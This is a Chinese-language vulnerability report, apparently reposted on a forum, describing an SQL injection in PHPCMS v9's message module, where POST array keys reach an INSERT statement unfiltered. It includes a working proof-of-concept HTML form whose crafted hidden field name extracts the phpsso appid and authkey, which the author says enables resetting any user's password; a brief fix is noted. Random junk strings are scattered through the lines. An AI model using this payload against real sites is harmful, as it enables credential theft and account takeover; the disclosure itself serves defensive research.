|
|
简要描述:/ d4 B+ C9 b' O
# o' H" G; q7 C
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。8 f+ P4 `* u2 ?4 d0 c# s7 i
* @; \" N0 P1 e6 k
明天再更新下一个漏洞。! _' C9 v1 o: h- E
详细说明:
) V- } J% R. Z6 ^9 k+ d在/phpcms9/phpcms/modules/message/index.php中有代码如下:: N$ h1 m$ Q! b' o% b' e0 N
+ R9 v0 y3 F, L3 S3 T9 z
$messageid = $this->message_db->insert($_POST['info'],true);
B& z' W, x: C4 w; r8 }9 m* [& S# @+ U- E1 ?: M' l# a- @
: n( o4 A1 |6 g5 [7 E( E' R
insert方法是key value的,代码如下: @5 _# M8 x% L+ b
0 I- m! H1 Q- r ~" o) A# L* [public function insert($data, $table, $return_insert_id = false, $replace = false) {6 m }3 S) G) u$ h+ x$ r
if(!is_array( $data ) || $table == '' || count($data) == 0) {% _+ a8 p! g# K' p$ Z- A
return false;
! ^/ c( Y3 r# \ }
0 V) F* f* t) x5 {" a9 o$ P3 W : c6 Q A1 i% g0 c
$fielddata = array_keys($data);! t* h; c# ^& g8 |5 r7 w- ^2 h' t
$valuedata = array_values($data);
3 `7 y* [4 O2 {2 V8 @5 o array_walk($fielddata, array($this, 'add_special_char'));
+ N; K6 P: l: I* w$ ]5 ?& F5 V array_walk($valuedata, array($this, 'escape_string')); ]- u" U6 z9 Z; |9 D
9 P: Z0 p+ {0 m+ z $field = implode (',', $fielddata);
+ S9 N/ v4 C8 R5 ~. R/ L $value = implode (',', $valuedata);- o- g% ]: T6 t: K
( Y1 \$ G6 g% K9 G# w ] $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';5 a! o. U; d6 ?+ `1 S4 |
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';/ \: |* `. l0 L/ |5 Q
$return = $this->execute($sql);% e8 h# @' F' v' [* v7 s. `
return $return_insert_id ? $this->insert_id() : $return; Z2 W o p& X' y& B7 M
}: Q Z. N0 A. C/ O% R% R& H
! h- g: p6 p0 ^: T4 D/ h \
3 l' w! z7 I8 W/ O9 m# L/ a嗯,很遗憾的是1 ]8 {1 R7 i6 B& V) W$ R; w8 H r
3 d5 R4 G5 v/ P$ H
array_walk($fielddata, array($this, 'add_special_char'));
- Q* c e6 _) N" U+ K8 W* e9 y8 a* n7 R5 y
7 x3 C& c; R7 ]6 u! o2 l- o
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。, V2 N* `3 H r
/ l# v* L8 Y: q' E0 V e! e; e$ I# D到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。5 K c: t: _/ v0 s
t1 C8 [ O: _/ W: N" j# z; q漏洞证明:
9 j2 t. x+ ~$ g/ k2 Y读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。- ]: E' W5 h9 q7 u* g
/ l# R* ?5 X+ ^" C' q" j0 [; m# v7 ]
表单如下:用户名什么的得自己改一改。% r; e+ s- {9 c" T$ T1 u, a* h
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">* _0 |& o+ n7 j$ u$ ?8 Y, ~; @7 z
<table width="100%" cellspacing="0" class="table_form">
7 J! s f$ T! C! }" `<tr>
- |1 l9 p( m% H<th>标 题:</th># T0 A( s- l7 ~8 ^* O! v$ ?. ~
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
: x% e9 X! ?3 J: b+ v, c5 R</tr>
* O6 j9 K5 C1 v$ b5 \1 o<tr>8 L* P8 k7 o" p3 M- c) x
<th>内 容:</th>9 m2 F8 K* Z' c5 v' s) L9 j
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>! K8 O/ a" K8 |! H
</tr># F/ F* _; Z Y0 n: e2 q. e8 Z* a
<input type="hidden" name="info[replyid]" value="2" /> : a/ `: R3 t3 g! L; U. e
<input type="hidden" name="info[send_to_id]" value="cc" />
$ D9 E0 p5 N4 w1 W6 \<input type="hidden" name="info[send_from_id]" value="hh">" ^! K( Q4 N" `6 [; y; a, |* D) ?
<!-- 漏洞的利用重点在这里开始 -->" ^0 Y! S$ g9 h& T! e/ m
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
3 ?! x7 w9 J" o R! e<!-- 漏洞的利用重点在这里结束 -->
- }6 O. H3 j1 {& e2 q9 g<tr>
% f4 B# I( i: ^& R3 \- [<th>验证码:</th>2 E+ C& d+ G6 V
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>* {$ `: v: f0 Z# r7 b' U
</tr>
8 e' z& L5 r$ Z# m( `<tr>7 C7 \: y, m; `4 s6 W5 f- U8 F
<td></td>
: [( `1 I9 z) G5 s<td colspan="2"><label>
: w1 A A E' T% C1 D<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>* ^5 p# w+ F3 c* S
</label></td>
$ ^3 W- s- i; S; }& i. `: M</tr>
1 j( T4 I, M1 t! E4 f! Z</table>
. K6 c: U. r6 g( M3 g4 ]</form>: @! G- n* Q# R1 C; U0 ]
在add_special_char函数内对key做过滤就可以了。
! w& R: w- r P) v* A/ ?6 Q$ Y$ b- p2 Z! P
/ W, r2 |) q) e, V$ S1 P
% `; T2 T$ @# i# k3 i8 \ |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|